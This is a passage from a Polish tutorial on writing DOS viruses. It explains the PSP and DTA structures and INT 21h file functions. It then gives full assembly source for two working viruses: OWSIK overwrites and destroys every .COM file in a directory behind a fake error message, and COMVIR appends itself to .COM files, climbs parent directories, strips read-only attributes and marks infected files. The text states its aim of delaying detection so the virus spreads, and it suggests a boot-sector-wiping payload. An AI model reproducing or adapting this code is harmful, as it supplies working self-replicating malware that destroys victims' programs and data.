Każdemu programowni wprowadzonemu do pamięci operacyjnej przez DOS przydziela się pewien obszar pamięci. Początek tego obszaru, określany jako początek *segmentu programu* ma istotne znaczenie w systemie DOS, gdyż tam właśnie jest umieszczany blok wtępny programu, który jest odpowiedzialny za komunikację między procesem[1] a systemem operacyjnym. Służy on systemowi do przechowywania informacji związanych z procesem, m. in. informacji o plikach używanych przez proces, parametrów przekazanych w chwili rozpoczęcia procesu itp. Ogólnie można powiedzieć, że blok wstępny programu PSP (*ang. program segment prefix*) jest częścią stanu systemu operacyjnego związaną z aktualnie wykonywanym programem, odpowiadając za jego rozpoczęcie, działanie i poprawne zakończenie.

Rozmiar bloku PSP wynosi 256 bajtów (0100h). Dlatego właśnie wykonywanie programu COM zaczyna się od adresu CS:0100h. Wczesniej tzn. między CS:0000h – CS:0100h znajduje się blok wstępny programu — PSP. Ogólna budowa pliku typu COM została przedstawiona w tabeli 6.1.

O ile to co znajduje się między CS:0100h – CS:????h (gdzie maksymalna wartość ????h to FFFFh) zależy do zawartości pliku COM programu, który jest właśnie wykonywany, o tyle budowa bloku PSP jest zawsze taka sama. Została ona opisana w tabeli 6.2. Mogą się tylko zamieniać wartości określonych pól.

[1] *Procesem* nazywamy załadowany do pamięci program

Adres w pamięci	*Zawartość pamięci*
CS:0000h – CS:0100h	Blok wstępny — PSP
CS:0100h – CS:????h	Kod programu załadowany z pliku

Tabela 6.1: Wygląd programu COM po załadowaniu do pamięci

Adres pola	***Długość pola***	***Zawartość***
00h	2	int 20h (kod rozkazu)
02h	2	Pamięć niedostępna dla programu (adres segmentowy)
04h	1	Zarezerwowane
05h	5	CALL FAR (dalekie odwołanie do systemu DOS — 06h — dostępna pamięc w segmencie)
0Ah	4	Zapamiętywany adres zakończenia programu (*segment:offset* — pierwsze dwa bajty to segment, a drugie dwa to offset — odwrotna kolejność) — int 22h
0Eh	4	Adres programu obsługi Ctrl-Break(*segment:offset*) — int 23h
12h	4	Adres programu obsługi błędów krytycznych(*segment:offset*) — int 24h
16h	2	Adres bloku PSP programu rodzicielskiego
18h	20	Tablica plików procesu(JFT). Zawiera pliki otwarte przez proces.
2Ch	2	Adres otoczenia programu(segment)
2Eh	4	Pole do przechowywania SS:SP podczas wywoływania funkcji systemu
32h	2	Liczba elementów tablicy JFT
34h	4	Daleki wskaźnik(*segment:offset*) do tablicy plików procesu JFT
38h	4	Daleki wskaźnik. Brak informacji
3Ch	20	zarezerwowane
50h	3	Kody rozkazów int 21h; retf
53h	9	Zarezerwowane
5Ch	16	Standardowy blok opisu pliku nr 1 — FCB1
6Ch	20	Standardowy blok opisu pliku nr 2 — FCB2
80h	128	Bufor transmisji dyskowych (DTA). Bezpośrednio po uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR(0Dh). Bajt pod adresem 080h określa długość wiersza wejściowego nie uwzględniając znaku CR.

Tabela 6.2: Blok wstępny programu — PSP

Budowa bloku PSP jest dość złożona. Nie martw się jednak jeżeli znaczenie niektórych pól jest dla Ciebie niejasne. Nie trzeba znać wszystkich pól. Niektóre z nich nie są używane od wersji systemu DOS 2.0 (np. bloki FCB), a zostały zachowane wyłącznie dla zachowania zgodności wersji. Dla nas najważniejsze będzie ostatnie pole bloku PSP zaczynające się od adresu CS:0080h zawierające bufor transmisji dyskowych — DTA. Bufor DTA zostanie opisany bardzo dokładnie przy omówianiu funkcji przeszukujących katalogi.

6.3.2 Ładowanie pliku COM

Przekazując sterowanie do pliku COM system DOS inicjuje kilka rejestrów ustalonymi wartościami:

- rejestry segmentowe CS, DS, ES, SS wskazują na adres bloku PSP programu
- IP ustawiany jest na 0100h
- SP wskazuje na koniec pamięci dostepnej w segmencie(zwykle 0FFFEh)
- na stosie umieszczana jest wartość 0000h

6.4 Infekcja plików COM przez nadpisanie

Zanim przystąpimy do pisania naszego pierwszego wirusa, poznajmy kilka użytecznych funkcji.

6.4.1 Kilka przydatnych funkcji i struktur

Spójrzmy jeszcze raz na ostatnie pole tabeli opisującej blok PSP. Pod adresem CS:0080h, po uruchomieniu programu COM, znajduje isę tzw. bufor transmisji dyskowych — DTA. Jego budowę przedstawia tabela 6.3.

Offset	Rozmiar	Zawartość
0h	15h	Zarezerwowane dla funkcji 4Fh
15h	1h	Atrybuty znalezionej pozycji w katalogu
16h	2h	Czas ostatniej modyfikacji znalezionego pliku
18h	2h	Data ostatniej modyfikacji znalezionego pliku
1Ah	4h	Rozmiar znalezionego pliku w bajtach
1Eh	0Dh	Nazwa znalezionego pliku

Tabela 6.3: Budowa bufora DTA

Jest on bardzo ważny dla programisy wirusów, gdyż to właśnie tam funkcje przeszukujące katalog(4Eh\21h, 4Fh\21h) zwracają nazwę znalezionego pliku.

Najważniejsza jest nazwa znalezionego pliku. Znajduje się ona pod offsetem 2Eh licząc od początku bufora DTA. Ponieważ początek bufora DTA znajduje się pod offsetem 80h względem CS, więc całkowite przesunięcie nazwy w segmencie wynosi: cs:[80h+2Eh].

Teraz powinniśmy poznać funkcje z tabeli 6.4.

Funkcja:	**4Eh przerwania 21h**
Nazwa:	Znajdowanie pierwszego pliku w katalogu
Wywołanie:	ah = 4Eh DS:DX — adres łańcucha w kodzie ASCII zawierającego maskę szukanego pliku (np. '*.com') zakończoną zerem CX — atrybuty poszukiwanego pliku
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd (zwykle brak pliku) Nie ustawiony znacznik C(CF=0) — OK
Opis:	Funkcja przeszukuje katalog w poszukiwaniu pliku ospowiadającemu wzorcowi podanym w DS:DX. Nazwa znalezionego pliku zwracana jest do bufora DTA(CS:0080h).

Funkcja:	**4Fh przerwania 21h**
Nazwa:	Znajdowanie następnego pliku w katalogu
Wywołanie:	ah = 4Fh
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd (brak następnego pliku) Nie ustawiony znacznik C(CF=0) — OK
Opis:	Funkcja kontynuuje przeszukiwanie katalogu w poszukiwaniu kolejnego pliku ospowiadającemu wzorcowi podanym dla funkcji 4Eh. Nazwa znalezionego pliku zwracana jest do bufora DTA(CS:0080h).

Funkcja:	**3Dh przerwania 21h**
Nazwa:	Otworzenie pliku
Wywołanie:	ah = 3Dh DS:DX — nazwa pliku do otworzenia al — tryb otwarcia pliku al = 0 : do odczytu al = 1 : do zapisu al = 2 : do odczytu i zapisu
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd i AX zawiera kod błędu Nie ustawiony znacznik C(CF=0) — OK i AX zawiera uchwyt otworzonego pliku
Opis:	Funkcja otwiera plik, którego nazwa znajduje się pod adresem DS:DX i zwraca jego uchwyt do AX.

Funkcja:	**3Eh przerwania 21h**
Nazwa:	Zamknięcie otwartego pliku
Wywołanie:	ah = 3Eh BX — uchwyt pliku
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd i AX zawiera kod błędu Nie ustawiony znacznik C(CF=0) — OK

Opis:	Funkcja zamyka plik otwarty za pomocą funkcji 3Dh.
Funkcja:	**40h przerwania 21h**
Nazwa:	Zapis do otwartego pliku
Wywołanie:	ah = 40h BX — uchwyt pliku DS:DX — adres bufora zawierającego dane do zapisu CX — ilośc bajtów do zapisu
Powrót:	Ustawiony znacznik C(CF=1) — wystąpił błąd i AX zawiera kod błędu Nie ustawiony znacznik C(CF=0) — OK i AX zawiera ilość zapisanych bajtów
Opis:	Funkcja zapisuje dane do otwartego za pomocą funcji 3Dh pliku.

Tabela 6.4: Przydatne funkcje (1)

6.4.2 Przykład wirusa infekującego przez nadpisanie

Znając powyższe pięć funkcji jesteśmy już gotowi do napisania najprostszego wirusa. Będzie to bardzo prymitywny wirus. Wszystkie atakowane przez nigo obiekty przestaną działać. Nasz wirus będzie działał według algorytmu:

1. Szukaj pierwszego pliku COM w bieżącym katalogu.
2. Jeżeli nie istnieje, to wyświetl wiadomość i zakończ program (W katalogu istnieje zawsze przynajmniej jeden plik COM. Plik wirusa jest przecież także plikiem COM.). Jeżeli znaleziono, to przejdź do kroku 3.
3. Otwórz znaleziony plik do zapisu i zapisz na jego początku ciało wirusa. Wirus jest programem aktualnie wykonywanym, więc znajduje się w pamięci operacyjnej pod adresem CS:0100h. Po zapisaniu zamknij plik.
4. Szukaj następnego pliku COM. Jeżeli jest, to przejdź do punktu 3. Jeżeli nie istnieje, to zakończ program.

Przystąpmy do analizy kodu źródłowego:

```
;-------------------------------------------------------
;                 OWSIK.ASM
;
; OWSIK - jest bardzo prostym wirusem nadpisującym
;         plików COM. Wirus niszczy nieodwracalnie
;         wszystkie zarażane pliki.
;         Wirus zainfekuje wszystkie pliki: '*.com'
;         w bieżącym katalogu.
;
; Autor:  Piotr Ładyżyński   16 lutego 2002r.   Michalin
;
```

```
; Kompilacja:   TASM   owsik.asm
; Konsolidacja: TLINK  (z opcją t) owsik.obj
;-------------------------------------------------------

dlugosc_wirusa = (offset virus_end) - (offset virus_start)


; atrybuty pozycji w katalogu
atr_tylko_do_odczytu    = 00000001b
atr_ukryty              = 00000010b
atr_systemowy           = 00000100b
atr_volumeID            = 00001000b
atr_katalog             = 00010000b
atr_archiwalny          = 00100000b
atrybut                 = 00100111b



code    segment
        assume  ds:code, ss:code, cs:code, es:code
        org     100h                    ; Program typu COM
                                        ; zaczyna się od offsetu
                                        ; 0100h.

virus_start:
        mov   ah, 4Eh                   ; szukaj pliku
        mov   dx,offset plik_COM        ; maska pliku do szukania
        mov   cx, atr_archiwalny        ; atrybut poszukiwanego pliku
        int   21h
        jnc   znaleziono_plik_COM       ; jezeli cf=0 to znaleziono plik

        jmp   nie_ma_wiecej_plikow      ; brak plku COM

znaleziono_plik_COM:
        mov   ax, 3d02h                 ; otwórz plik do zapisu-odczytu
        mov   dx, 80h+1Eh               ; Nazwa pliku znajduje się
        int   21h                       ; w buforze DTA pod offsetem
                                        ; 2Eh (patrz tabela DTA). Bufor
                                        ; DTA znajduje się w bloku PSP
                                        ; pod offsetem 080h. Stąd łączny
                                        ; offset względem segmentu
                                        ; DS to 80h+2Eh.

        mov   bx, ax                    ; Przekaż uchwyt pliku do bx
        mov   ah, 40h                   ; funkcja - zapisz do pliku
        mov   cx, dlugosc_wirusa        ; ile bajtów zapisać
        mov   dx, 0100h                 ; skąd zapisać. Od adresu DS:0100
        int   21h                       ; zaczyna się nasz wirus.
```

```
        mov   ah,3Eh                    ; zamknij zarażony plik
        int   21h

szukaj_nastepnego_pliku:
        mov   ah,4Fh                    ; funkcja DOS -
                                        ; szukaj następnego pliku
        int   21h
        jnc   znaleziono_plik_COM       ; jeżeli cf=0 to znaleziono plik.

nie_ma_wiecej_plikow:
        mov   ah, 09h                   ; wyświetl fikcyjną wiadomość
        mov   dx, offset wiadomosc
        int   21h

        mov   ah, 4Ch                   ; zakończ program
        mov   al, 01h
        int   21h


plik_COM       db      '*.com',0
wiadomosc      db      'Not enough memory to allocate program structures.'
               db      13, 10, '$'
virus_end:

code    ends
end     virus_start                      ; Zacznij wykonywać program
                                         ; od etykiety 'virus_start'.
```

6.5 Infekcja plików COM przez skok do wirusa

Mamy już naszego pierwszego wirusa za sobą. Nie jest on może zbyt okazały, ale dobrze jest zacząć od czegoś prostego, co zobrazuje ogólny schemat. Jakie są wady nazego OWSIKA? Po pierwsze jego wykrycie to sprawa bardzo krótkiego czasu. Każdy nawet nabardziej tępy użytkownik zauważy, że coś jest nie tak, gdy wszystkie programy COM w katalogu przestaną nagle działać. Nam zależy na jak najpóźniejszym wykryciu wirusa. Jeżeli wirus będzie odpowiednio długo działał w systemie istnieje szansa, że zostanie skopiowany na większą ilość komputerów. Trzeba więc napisać wirusa, który nie niszczyłby atakowanych plików i umożliwiał po zarażeniu prawidłowe wykonanie programu ofiary. Jak tego dokonać?

Prawidłowy sposób infekcji plików COM nie jest trudny. Na końcu zarażanego pliku dopisujemy kod wirusa, a na początku pliku po uprzednim zapamiętaniu trzech pierwszych bajtów ofiary dopisujemy trzybajtowy rozkaz skoku na koniec pliku, gdzie dopisał się wirus. Najczęściej jest to rozkaz JMP NEAR posiadający kod maszynowy: 0E9h ??h ??h. Wartości ??h ??h oznaczają wartość dodawaną do wartości rejsetru IP po wykonaniu rozkazu. Należy zwrócić uwage, że rozkaz 0E9h liczy offset od swojego końca. Jeżeli na przykład rozkaz '0E9h 00h 11h' znajduje się pod offsetem 100h po jego wykonaniu IP = 0114h = 0100h+3h(długość instrukcji)+11h, a nie IP = 0111h.

Po uruchomieniu zarażonego programu sterowanie zostaje oddane najpierw do wirusa, który po

wykonaniu odpowiednich czynności przywraca zapamiętane trzy pierwsze bajty ofiary i wykonuje skok pod adres CS:0100h. Ofiara wykonuje się w normalny sposób. Użytkownik zwykle nie zauważa nic, poza drobnym opóźnieniem. Schematyczny obraz pliku został przedstawiony w tabeli 6.5.

0100h	0E9 xxxxh - rozkaz skoku do wirusa, który jest dopisany na końcu pliku. xxxxh = (długość infekowanego programu) - 3 bajty
0103h	Kod programu
yyyyh	Tu zaczyna się kod wirusa. yyyyh = 3h + 0100h + xxxxh.

Tabela 6.5: Zawartość zarażonego pliku COM

Przed przystąpieniem do kodowania wirusa poznajmy trochę użytecznych funkcji. Zebrałem je w tabeli 6.6.

Funkcja:	**1Ah przerwania 21h**
Nazwa:	Zmienia adres bufora DTA
Wywołanie:	ah = 1Ah DS:DX - adres nowego bufora
Powrót:	Brak.
Opis:	Funkcja zmienia standardowy adres DTA (CS:0080h) na podany w rejestrach DS:DX. Należy pamiętać, że nowy bufor musi mieć co najmniej 80h bajtów.

Funkcja:	**43h przerwania 21h**
Nazwa:	Sprawdzenie lub zmiana atrybutów pliku.
Wywołanie:	ah = 43h al = 0 — pobranie atrybutów. al = 1 — zmiana atrybutów. DS:DX — nazwa pliku CX - nowe atrybuty(jeśli al=1)
Powrót:	CX — atrybuty pliku(jeśli al = 0)
Opis:	Funkcja odczytuje lub zmienia atrybut pliku, którego nazwę podano w DS:DX.

Funkcja:	**3Fh przerwania 21h**
Nazwa:	Odczyt z pliku
Wywołanie:	ah = 3Fh BX — uchwyt pliku DS:DX — adres bufora, do którego maja trafić odczytane dane CX — ilość bajtów do odczytania
Powrót:	cf=1 — wystąpił błąd i AX zawiera kod błędu cf=0 - wszystko OK. AX zawiera ilość odczytanych bajtów
Opis:	Funkcja odczytuje dane z pliku do bufora podanego w DS:DX. Plik musi zostać wcześniej otworzony.

Funkcja:	**42h przerwania 21h**
Nazwa:	Zmienia wskaźnik pliku

Wywołanie:	ah = 42h BX — uchwyt pliku CX:DX — o ile bajtów przesunąć(65536*CX + DX) al — typ ustawienia al = 0 : początek pliku + CX:DX al = 1 : aktualna pozycja + CX:DX al = 2 : koniec pliku + CX:DX
Powrót:	DX:AX - nowe położenie wskaźnika w pliku
Opis:	Funkcja zmienia wskaźnik w piku. Chcemy na przykład odczytać bajt, który jest położony pod offsetem 0011h od początku pliku. Po otworzeniu tego pliku wskaźnik jest ustawiany domyślnie na początek. Musimy więc go przesunąć. W tym celu ładujemy do CX=0, DX=0011h, al=0, bx=uchwyt i wywołujemy funkjcę. Teraz możemy już odczytać właściwe dane. Funkcję można również wykorzystać do odczytania rozmiaru pliku. W tym celu wywołujemy ją z parametrami: ah = 42h al = 02h — przesuń na koniec CX = 0 DX = 0 Po wywołaniu przerwania liczba zawarta w rejestrach DX:AX zawiera aktualną pozycję w pliku, a ponieważ znajdujemy się dokładnie na końcu pliku, DX:AX = rozmiar pliku.

Funkcja:	**57h przerwania 21h**
Nazwa:	Sprawdzenie lub zmiana daty i czasu modyfikacji pliku.
Wywołanie:	ah = 57h al = 0 — sprawdzanie al = 1 — zmiana BX - uchwyt pliku CX - czas do ustawienia(jeśli al=1) DX - data do ustawienia(jeśli al=1)
Powrót:	CX — czas ostatniej modyfikacji pliku(jeśli al = 0) DX - data ostatniej modyfikacji pliku(jeśli al = 0)
Opis:	Funkcja zmienia lub sprawdza czas i datę ostatniej modyfikacji pliku. Znaczenie kolejnych bitów: DX: 9..15 — rok od 1980 5..8 — miesiąc 0..4 — dzień CX: 11..15 — godzina 5..10 — minuta

	0..4 — sekunda div 2
Funkcja:	**47h przerwania 21h**
Nazwa:	Pytanie o bieżący katalog.
Wywołanie:	ah = 47h DS:SI — 64 bajtowy bufor, do którego zostanie zwrócona ścieżka dl — dysk(0=bieżący, 1=A, 080h=C itd.)
Powrót:	Jeżeli cf=1, to błąd i AX zawiera kod błędu.
Opis:	Funkcja zwraca do bufora nazwę bieżącego katalogu. Maksymalnie 64 znaki.
Funkcja:	**3Bh przerwania 21h**
Nazwa:	Ustalenie bieżącego katalogu.
Wywołanie:	ah = 3Bh DS:DX — adres łańcucha zawierającego nazwę nowego katalogu
Powrót:	Jeżeli cf=1, to błąd i AX zawiera kod błędu. cf=0 — OK
Opis:	Funkcja zmienia bieżący katalog na podany w DS:DX

Tabela 6.6: Przydatne funkcje (2)

6.5.1 Piszemy wirusa

Nadszedł czas na napisanie wirusa potrafiącego prawidłowo infekować pliki COM. Wprowadzimy w nim kilka ulepszeń. Wszystkie trudniejsze fragmenty będę na bieżąco wyjaśniał. Kod znajduje się na listingu.

```
;-------------------------------------------------------
;                              COMVIR.ASM
;
; COMVIR.ASM -  jest wirusem nierezydentnym plików '*.COM'.
;               Comvir jest wirusem z rodziny appending czyli
;               dopisuje się na końcu pliku.
;
; Autor:         Piotr Ładyżyński   25 luty 2001r.    Michalin
; Kompilacja:    TASM (opcja - m3)
; Linking:       TLINK (opcja - t)
;
;-------------------------------------------------------


; atrybuty pozycji w katalogu
atr_tylko_do_odczytu = 00000001b
atr_ukryty           = 00000010b
atr_systemowy        = 00000100b
atr_volumeID         = 00001000b
atr_katalog          = 00010000b
```

```
atr_archiwalny       = 00100000b
atrybut              = 00100111b

; atrybut - określa atrybuty poszukiwanej pozycji w katalogu.
; Nasz wirus będzie infekował pliki z atrybutami:
; atrybut = atr_tylko_do_odczytu + atr_ukryty +
;                         + atr_systemowy + atr_archiwalny

DTA struc
         DTAfill        db 21 dup (0)
         DTAatrybut     db 0
         DTAczas        dw 0
         DTAdata        dw 0
         DTAdlugosc     dd 0
         DTAnazwa       db 13 dup (0)
DTA ends
; TASM umożliwia nam deklarowanie struktur podobnie jak
; w językach wyższego poziomu. Od chwili zadeklarowania
; DTA staje się taką samą zmienną jak np. db i można jej używać w sposób:
; moja_zmienna DTA ?,?,?,?,?,?

dlugosc_wirusa = (offset virus_end)-(offset virus_start)

Vrok          = 1999
Vmiesiac      = 12
Vdzien        = 13
Vznacznik     = (Vrok-1980)*512+Vmiesiac*32+Vdzien
; Chcemy żeby nasz wirus nie zarażał plików już zarażonych. W tym celu
; oznaczymy zarażone już pliki przez datę modyfikacji tzn. ustawimy
; każdemu zarażanemu plikowi datę modyfikacji na np. 13.12.1999r.
; Kiedy wirus zobaczy, że data modyfikacji ma właśnie tą wartość
; ominie plik gdyż uzna go jako już zarażony.
; Wzór określający VZnacznik wynika ze sposobu podawania daty do funkcji
; 57h przerwania 21h(patrz opis funkcji).
; 512 = 2^9    <- mov dx, (rok-1980) <- shl  dx, 9
; 32 =   2^5

MojProgram SEGMENT
        ASSUME CS:MojProgram
        org 0100h

start:
        db 0E9h, 00h, 00h
; Symulowany skok do wirusa. Po wykonaniu tego skoku
; IP = offset virus_start

virus_start:
        call  trick
```

```
trick:
        pop   bp
        sub   bp, offset trick
```

Stop. Przeczytaj poprzednie trzy rozkazy jeszcze raz. Znajdują się one na początku większości wirusów. Pisząc program HELLO.ASM zwróciłem uwagę na bardzo istotny fakt, a mianowicie na statyczne liczenie offsetów w programie przez kompilator. Jakie to ma dla nas znaczenie? Wyobraźmy sobie taką sytuację. Mamy wirusa, tuż po kompilacji. Znajduje się on pod offsetem CS:0100h i chcemy odwołać sie np. do zmiennej, która znajduje się pod offsetem CS:0110h. Teraz nic nie stoi na przeszkodzie, ale pamiętajmy o tym, że w następnym pokoleniu wirus nie będzie zaczynał się już od adresu 0100h, ponieważ dopisze się na końcu pliku. Jeżeli wtedy odwołamy się do zmiennej, która znajduje się pod offsetem CS:0110h to nie odczytamy zaplanowanej zmiennej tylko jakąś instrukcję programu, który zaraziliśmy. Jak ominąć tę barierę?

Zastanówmy się jak policzyć nowy offset naszej zmiennej. Nowy offset naszej zmiennej po dopisaniu się na końcu programu o długości *k* bajtów liczymy wg. wzoru:

$$nowy = stary + k - 3$$

Te trzy bajty wynikają z tego, że wirus zapisuje się do pliku od etykiety 'virus_start', więc nie liczymy długości rozkazu: 0E9h 00h 00h.

Po co jednak to CALL? Instrukcja CALL odkłada na stosie adres powrotu(IP), a potem wykonuje skok do etykiety(adresu). Procesor po natrafeniu na rozkaz RET zdejmuje ze stosu wartość IP i wraca do punktu wywołania procedury. My użyjemy CALL, aby dowiedzieć się o aktualnym offsecie w programie(wrtości IP). Wykonujemy rozkaz CALL, który odkłada IP na stosie i skacze do etykiety 'trick'. Zdejmujemy adres odłożony na stosie do rejestru BP. Teraz od wartości rejestru BP odejmujemy offset etykiety 'trick'. Pamiętajmy jednak, że 'offset trick' zostanie w procesie kompilacji zastąpiony przez kompilator(TASM) stałą liczbą. W naszym przypadku wartość ta zostanie zastąpiona na 0106h, ponieważ pod właśnie takim offsetem znajduje się etykieta 'trick'. Przy pierwszym uruchomieniu zawartość rejestru BP także wyniesie 0106h, więc po odjęciu względne przesunięcie zawarte w BP wyniesie 0, co jest prawdą.

Wyobraźmy sobie teraz, że nasz wirus zainfekował jakiś program np. 'hello.com'. Wtedy do rejsetru BP trafi:

$$BP = dlugosc\_programu\_hello + 100h + 3(instrukcjaCALL)$$

Po odjęciu od BP 106 bajtów w BP dostaniemy względne przesunięcie wirusa w segmencie. Teraz zamiast adresować zmienna:

lea dx, [zmienna]

będziemy ją adresować:

lea dx, [bp][zmienna]

Ostatnia instrukcja jest równoważna instrukcjom:

mov dx, offset zmienna
add dx, bp

Będziemy przy odwołaniu do każdej zmiennej brać poprawkę na rejestr BP. Można oczywiście zmiast rejestru BP używać dowolnego innego np. SI.

Teraz skompiluj całego wirusa i sprawdź zachowanie się sztuczki z CALL pod Turbo Debuggerem. Najpierw uruchom czystego wirusa i sprawdź działanie pierwszych kilku instrukcji, a potem zaraź program HELLO.COM wirusem i również prześledź działanie naszego triku z instrukcją CALL.

Bacznie obserwuj co odkładane jest na stosie(SS:SP) przy wywołaniu instrukcji CALL. Możesz również zarazić inne programy i dla ćwiczenia przeanalizować liczenie offsetu względnego w BP. Bądź jednak uważny. Wirus przeskakuje katalogi do góry to znaczy, że jeżeli uruchomisz go w katalogu 'C:\ALA\MA\KOTA' to zostaną zarażone wszystkie pliki COM w katalogach: 'C:\ALA\MA\KOTA', 'C:\ALA\MA', 'C:\ALA' i 'C:\' w wymienionej kolejności.

Przejdźmy do analizy następnego fragmentu kodu:

```
przywroc_trzy_pierwsze_bajty_ofiary:
        push  cs
        push  cs
        pop   ds
        pop   es
        lea   si, [bp][stare_bajty]
        mov   di, 0100h
        movsb
        movsb
        movsb
; Przywracamy trzy pierwsze bajty na początek ofiary. W naszym
; przypadku jest to kod - int 20h(0CDh 20h 00h), który po skoku
; pod CS:0100h zakończy program.

ustaw_nowe_DTA:
        push  cs
        pop   ds
        lea   dx, [bp][nowe_DTA]
        mov   ah, 1Ah
        int   21h

pobierz_katalog:
        mov   ah, 47h             ; wczytaj do bufora bieżący katalog
        xor   dl, dl
        lea   si, [bp][bufor+1]
        int   21h

        mov   [bp][bufor], '\'

nastepny_katalog:
        call  infekcja            ; zainfekuj wszystkie pliki w katalogu

        mov   ah, 3Bh             ; zmień katalog na '..'(do góry)
        lea   dx, [bp][w_gore]
        int   21h
        jc    przywroc_katalog    ; jeżeli błąd to katalog główny
        jmp   nastepny_katalog

przywroc_katalog:
        mov   ah, 3Bh             ; zmień na zapamiętany katalog
        lea   dx, [bp][bufor]
```

```
        int   21h

aktywacja:
; tu należy wpisać psikusa np. zamazanie BOOT sektora

skocz_do_nosiciela:
        mov   ax, 0100h           ; skok pod CS:0100h (do nosiciela)
        jmp   ax
; Pamiętajmy, że pod adres CS:0100h skopiowaliśmy instrukcje
; int 20h. Zakończy ona poprawnie pierwsze pokolenie wirusa.

;**********************TU KONCZY SIE KOD WIRUSA

virus_data:
        stare_bajty          db 0CDh, 20h, 90h
        nowe_DTA             DTA ?,?,?,?,?,?
        maska_COM            db '*.COM', 0
        uchwyt               dw 0000h
        w_gore               db '..', 0
        bufor                db 66 dup (0)
        dlugosc_ofiary       dw 0000h
        skok_do_wirusa       db 0E9h, 00h, 00h

virus_procedury:

; procedura infekująca wszystkie pliki COM w bieżącym katalogu
infekcja PROC
        push  cs
        pop   ds

        mov   ah, 4Eh             ; szukaj pierwszu plik
        mov   cx, atrybut
        lea   dx, [bp][maska_COM]
        int   21h
        jnc   znaleziono_plik_typu_COM
        jmp   nie_ma_pliku_COM

znaleziono_plik_typu_COM:
        cmp   [bp][nowe_DTA.DTAdata], Vznacznik ; czy zarażony?
        jne   plik_jeszcze_nie_zarazony
        jmp   szukaj_nastepny
; Powyższe instrukcje porównują datę modyfikacji pliku.
; Jeżeli data zgadza się ze wzorcem, to znaczy, że plik jest już
; zarażony i należy znaleźć inny.

plik_jeszcze_nie_zarazony:
        mov   ah, 43h             ; zmien atrybut na archiwalny
        mov   al, 01h
```

```
        mov   cx, atr_archiwalny
        lea   dx, [bp][nowe_DTA.DTAnazwa]
        int   21h
; Zmiana atrybutu na archiwalny umożliwi nam również infekcję
; plików COM mających ustawiony atrybut tylko do odczytu.

otworz_plik:
        mov   ah, 3Dh
        mov   al, 02h
        lea   dx, [bp][nowe_DTA.DTAnazwa]
        int   21h
        jnc   zapisz_uchwyt
        jmp   szukaj_nastepny

zapisz_uchwyt:
        mov   bx, ax
        mov   [bp][uchwyt], bx    ; Zapamiętaj uchwyt otwartego
                                  ; pliku.

odczytaj_trzy_pierwsze_bajty:
        mov   ah, 3Fh
        push  cs
        pop   ds
        lea   dx, [bp][stare_bajty]
        mov   cx, 0003h
        int   21h
; Zapamiętujemy trzy stare bajty infekowanego programu.
; Bez tego nie byłoby możliwe uleczenie ofiary przed skokiem
; pod CS:0100h

policz_dlugosc:
        mov   ah, 42h             ; przesuń wskaźnik pliku
        mov   bx, [bp][uchwyt]
        xor   cx, cx              ; o 0 bajtów
        xor   dx, dx
        mov   al, 02h             ; na koniec
        int   21h                 ; DX:AX - dlugosc pliku
        mov   [bp][dlugosc_ofiary], ax

        cmp   dx, 0000h           ; czy rozmiar pliku większy niż 64KB?
        je    zapisz_rozkaz_skoku_do_wirusa
        jmp   zamknij_plik        ; jeżeli tak to nie infekuj
; Jak napisałem wcześniej plik COM może mieć co najwyżej
; 64KB długości. Jeżeli ma więcej to znaczy, że nie jest
; to plik COM. Wtedy nie infekujemy pliku. Ten zabieg
; ochroni nas np. przed infekcją COMMAND.COM.
; Plik COMMAND.COM ma inną budowę i nie można infekować
; go przez skok. Taka próba zakończyłaby się zniszczeniem pliku
```

```
; i zawieszeniem systemu, a na tym nam nie zależy.

zapisz_rozkaz_skoku_do_wirusa:
        mov   ah, 42h             ; wskaźnik pliku na początek
        mov   al, 0
        mov   cx, 0
        mov   dx, 0
        mov   bx, [bp][uchwyt]
        int   21h


        mov   ax, [bp][dlugosc_ofiary]
        sub   ax, 0003h
        mov   skok_do_wirusa[1], al
        mov   skok_do_wirusa[2], ah
; Powyższe trzy linijki budują rozkaz skoku do wirusa, który
; zostanie zapisany na początku infekowanego programu.
; Od długości ofiary odjemujemy 3 bajty. Jest
; to związne z interpretacją adresu przez roakaz 0E9, ponieważ
; rozkaz liczy affset od swego końca. Pisałem już o tym wcześniej.

; Zauważ również, że najpierw zapisujemy młodszy bajt skoku,
; a potem starszy. Jest to związane z odwrotną kolejnością
; przechowywania bajtów na dysku. Np. liczba 01FFh
; po zapisaniu do pliku powinna wyglądać: 0FFh 01h
; No cóż Assembler jest trochę pokopany :)
; Musisz trochę pobawić się HEXeditorem i Debuggerem
; żeby nabrać wprawy.

        mov   ah, 40h             ; zapisz do pliku
        mov   bx, [bp][uchwyt]
        mov   cx, 0003h           ; trzy bajty
        push  cs
        pop   ds
        lea   dx, [bp][skok_do_wirusa]
        int   21h

zapisz_wirusa_do_pliku:
        mov   ah, 42h             ; przesuń wskaźnik pliku na koniec
        mov   al, 02h
        mov   cx, 0000h
        mov   dx, 0000h
        mov   bx, [bp][uchwyt]
        int   21h

        mov   ah, 40h             ; zapisz wirusa na końcu pliku
        mov   cx, dlugosc_wirusa
        push  cs
```

```
        pop   ds
        mov   bx, [bp][uchwyt]
        mov   dx, offset virus_start
        add   dx, bp              ; Teraz w DX znajduje się
        int   21h                 ; przesunięcie wirusa w segmencie.

oznacz_jako_zarazony:
        mov   ah, 57h             ; zmień datę ostatniej modyfikacji
        mov   al, 01h
        mov   bx, [bp][uchwyt]
        mov   dx, VZnacznik
        mov   cx, [bp][nowe_DTA.DTAczas]
        int   21h

zamknij_plik:
        mov   ah, 3Eh
        mov   bx, [bp][uchwyt]
        int   21h

szukaj_nastepny:
        mov   ah, 4Fh             ; fukncja - szukaj kolejny plik
        lea   dx, [bp][nowe_DTA.DTAnazwa]
        int   21h
        jc    nie_ma_pliku_COM    ; jeżeli błąd to nie ma już więcej plków
        jmp   znaleziono_plik_typu_COM


nie_ma_pliku_COM:
        ret

infekcja ENDP

        sygn  db  13, 10
              db  'Virus name: Comvir', 0, 13, 10
              db  'Virus Author: PIOTR LADYZYNSKI', 0, 13, 10
              db  'Michalin    4 marca 2001r.', 0, 13, 10
              db  'POLAND', 0, 13, 10

virus_end:



MojProgram ENDS
END        start
```

6.6 Infekcja plików COM przez przesunięcie kodu programu

